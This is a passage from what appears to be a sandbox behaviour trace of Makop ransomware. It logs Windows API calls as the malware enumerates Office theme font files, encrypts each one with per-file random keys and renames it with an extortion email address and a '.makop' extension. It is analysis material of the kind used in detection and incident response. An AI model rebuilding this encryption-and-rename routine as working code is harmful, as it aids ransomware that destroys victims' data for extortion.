lpNewFilePointer=0x0) returned 1 [0161.257] SetEndOfFile (hFile=0xf0) returned 1 [0161.265] GetProcessHeap () returned 0x48a0000 [0161.265] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.265] GetProcessHeap () returned 0x48a0000 [0161.265] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.265] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 130 [0161.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.269] CloseHandle (hObject=0xf0) returned 1 [0161.269] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0161.269] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml") returned 76 [0161.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.271] GetProcessHeap () returned 0x48a0000 [0161.271] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.272] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.272] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.272] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0161.276] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.276] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.276] GetProcessHeap () returned 0x48a0000 [0161.276] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.276] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.276] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.276] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.277] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.277] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.277] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.277] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.278] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe1d, lpOverlapped=0x0) returned 1 [0161.278] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.278] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.279] SetEndOfFile (hFile=0xf0) returned 1 [0161.286] GetProcessHeap () returned 0x48a0000 [0161.286] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.286] GetProcessHeap () returned 0x48a0000 [0161.286] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.286] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0161.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.288] CloseHandle (hObject=0xf0) returned 1 [0161.288] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0161.288] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml") returned 74 [0161.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.289] GetProcessHeap () returned 0x48a0000 [0161.289] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.289] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.290] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.307] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.307] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.307] GetProcessHeap () returned 0x48a0000 [0161.307] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.307] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.307] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.307] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.307] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.308] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.308] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.308] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe5a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe5a, lpOverlapped=0x0) returned 1 [0161.309] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe60, dwBufLen=0xe60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe60) returned 1 [0161.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.309] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe60, lpOverlapped=0x0) returned 1 [0161.309] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.309] SetEndOfFile (hFile=0xf0) returned 1 [0161.315] GetProcessHeap () returned 0x48a0000 [0161.315] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.315] GetProcessHeap () returned 0x48a0000 [0161.315] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.315] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0161.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.317] CloseHandle (hObject=0xf0) returned 1 [0161.318] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0161.318] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml") returned 75 [0161.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.319] GetProcessHeap () returned 0x48a0000 [0161.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.319] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0161.324] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.324] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.324] GetProcessHeap () returned 0x48a0000 [0161.324] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.324] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.324] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.325] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.325] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.325] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.325] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.326] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xeed, lpOverlapped=0x0) returned 1 [0161.326] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0, dwBufLen=0xef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0) returned 1 [0161.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.326] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xef0, lpOverlapped=0x0) returned 1 [0161.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.326] SetEndOfFile (hFile=0xf0) returned 1 [0161.334] GetProcessHeap () returned 0x48a0000 [0161.334] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.334] GetProcessHeap () returned 0x48a0000 [0161.334] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.334] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0161.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.336] CloseHandle (hObject=0xf0) returned 1 [0161.336] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0161.336] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml") returned 74 [0161.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.337] GetProcessHeap () returned 0x48a0000 [0161.338] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.338] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.338] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.342] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.342] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.342] GetProcessHeap () returned 0x48a0000 [0161.342] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.342] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.342] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.342] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.343] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.343] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.344] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.344] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.344] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe2c, lpOverlapped=0x0) returned 1 [0161.344] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, 